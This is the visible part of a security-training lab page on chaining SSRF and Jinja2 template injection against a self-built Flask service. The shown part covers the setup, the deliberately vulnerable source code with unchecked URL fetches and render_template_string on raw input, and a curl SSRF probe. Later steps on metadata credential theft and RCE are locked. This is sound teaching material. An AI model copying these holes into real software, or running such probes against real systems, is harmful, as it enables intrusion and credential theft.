Practice library / Web attacks
Lab · Medium · 1.5 hoursFree account
Server-Side Request Forgery & Attacks
SSRF filter bypass, stolen cloud-metadata credentials, blind OOB detection, and SSTI chained into one RCE.
On this page 17 sections
- ·Why this lab is different
- ·Prerequisites
- ·Lab setup
- ·Build the target
- 1Map the server-side request surface
- 2Confirm the SSRF with a safe internal probe
- Locked: Bypass the loopback filter to reach the admin API
- Locked: Pivot to cloud metadata and steal the instance role
- Locked: Use the stolen token against the secrets service
- Locked: Detect the blind SSRF on the import webhook
- Locked: Fingerprint and confirm SSTI in the preview field
- Locked: Escalate SSTI to command execution
- Locked: Chaining it together
- Locked: Detection and defence
- Locked: Check
- Locked: Clean-up
- Locked: Command reference
Modern web apps rarely fail on one flaw. Attackers chain weak server-side sinks to turn a single fetch field, a webhook or a template preview into the breach of a cloud instance role. You exploit three sinks in one Flask app, steal a metadata token, and prove a blind sink with an out-of-band probe.
What You'll Learn
- Map a server-side request surface from source before you touch the target
- Bypass a host filter to reach a loopback-bound internal API
- Steal and reuse cloud instance-metadata credentials pulled through SSRF
- Detect a blind SSRF that reflects no output, with an out-of-band listener
- Fingerprint a template engine and confirm SSTI with a safe probe
- Escalate SSTI to command execution and name the fix for each flaw in the chain
Why this lab is different
Most labs teach one server-side flaw on its own, such as Server-Side Template Injection (SSTI). Real applications rarely give you only one. This lab targets a single app with three server-side sinks: an image fetch, a report-import webhook, and a template preview. You chain them. SSRF reaches a credential one way; SSTI reaches the same credential a second way. You learn why fixing only one link still leaves the chain broken.
Prerequisites
- Know what SSRF is: a server that fetches a URL you supply. Steps 2 to 4 build the filter-bypass and cloud-metadata techniques from the start.
- Finish Server-Side Template Injection (SSTI). You need to already fingerprint a template engine and run a first RCE probe.
- Optional background, not required. These labs cover other server-side sinks this lab does not repeat:
Lab setup
| Item | Purpose |
|---|---|
curl | Sends every crafted request in this lab |
interactsh-client | Gives you an out-of-band domain for blind SSRF detection |
jq | Reads nested JSON out of the responses |
Build the target
KaliRange hosts no targets, no virtual machines and no lab files. You run this lab against a small service chain that you build yourself. The names and addresses below are the example addresses of this lab; use your own.
Your target must have four parts, all on one lab network (example 10.0.18.0/24):
| Host | Example address | Role |
|---|---|---|
| ReportForge | 10.0.18.25:8080 | A Python/Flask service with the three routes Step 1 shows: chart_image (fetches a URL, with no host check beyond blocking the literal strings 127.0.0.1 and localhost), import_report (fetches a URL, fire-and-forget, no body back), preview (renders title_template with Jinja2's render_template_string, no sandbox). No login is needed; none of the routes check a credential. |
| Admin API | 127.0.0.1:8081, the ReportForge host's own loopback | Answers GET /health with {"service":"reportforge-admin","version":"2.4.1","debug":true} |
| Metadata emulator | 169.254.169.254, reachable only from 10.0.18.0/24 | Answers GET /latest/meta-data/iam/security-credentials/ with the role name reportforge-worker, and GET .../reportforge-worker with the credential JSON Step 4 shows (AccessKeyId, SecretAccessKey, Token, Expiration) |
| LabVault | 10.0.18.50:9100 | Answers GET /v1/secrets/storage-api-key with {"name":"storage-api-key","value":"..."} when given the metadata emulator's Token value, as a header or a token query parameter |
No public training target reproduces this exact chain, so build these four services yourself: ReportForge is the Flask app from Step 1's source, run with the filter and the three routes exactly as shown; the other three are small stub HTTP services that answer the fixed JSON above. Put ReportForge's source at ~/reportforge-src on your own Kali machine; the commands in Step 1 and the troubleshooting read it from there. Take a snapshot of each virtual machine, or note the container state, before Step 1.
Legal note. Run every command in this lab only against a target that you own or have written permission to test, here 10.0.18.25, 169.254.169.254, and 10.0.18.50. Unauthorised SSRF and template injection can be criminal offences in many countries.
Step 1: Map the server-side request surface
Read the source before you send a single request
Three routes take attacker-controlled input and pass it, unchecked, into something the server does on your behalf. Find all three before you decide which to attack first.
@app.route("/api/reports/chart-image", methods=["POST"])
def chart_image():
url = request.json["image_url"]
resp = requests.get(url, timeout=5) # no host check
if "image/" not in resp.headers.get("Content-Type", ""):
return jsonify({
"error": "unsupported content-type",
"content_type": resp.headers.get("Content-Type"),
"preview": resp.text[:300],
}), 422
return jsonify({"status": "ok", "bytes": len(resp.content)})
@app.route("/api/reports/import", methods=["POST"])
def import_report():
source = request.json["source_url"]
queue.enqueue(fetch_and_store, source) # fire-and-forget, no body back
return jsonify({"status": "queued"}), 202
@app.route("/api/reports/preview", methods=["POST"])
def preview():
tpl = request.json["title_template"]
return jsonify({"html": render_template_string(tpl)}) # renders raw user input# Confirm the pattern yourself
grep -rn "requests.get(url\|queue.enqueue(fetch_and_store\|render_template_string(tpl" ~/reportforge-srcExample output:
reports.py:4: resp = requests.get(url, timeout=5)
reports.py:13: queue.enqueue(fetch_and_store, source)
reports.py:20: return jsonify({"html": render_template_string(tpl)})chart_image gives you a reflected oracle — its error message echoes the content type and the first 300 bytes of whatever it fetched. import_report gives you nothing back — a blind sink. preview renders your string as code. Each needs a different detection method, which is exactly why you attack all three.
Step 2: Confirm the SSRF with a safe internal probe
Prove the server fetches, not your browser
Point chart_image at an internal host that is not on any blocklist. If the JSON error reflects that host's real response, the fetch happened on the server.
curl -s -X POST http://10.0.18.25:8080/api/reports/chart-image \
-H "Content-Type: application/json" \
-d '{"image_url":"http://10.0.18.60:9090/health"}'Example output:
{"error":"unsupported content-type","content_type":"application/json","preview":"{\"status\":\"up\",\"service\":\"metrics-collector\"}"}10.0.18.60:9090 is not reachable from your Kali machine directly — only from inside the lab's 10.0.18.0/24 network. The preview field proves ReportForge, not you, made that request.
Sign in to continue
11 more sections are for signed-in members. It is free: sign in with Google.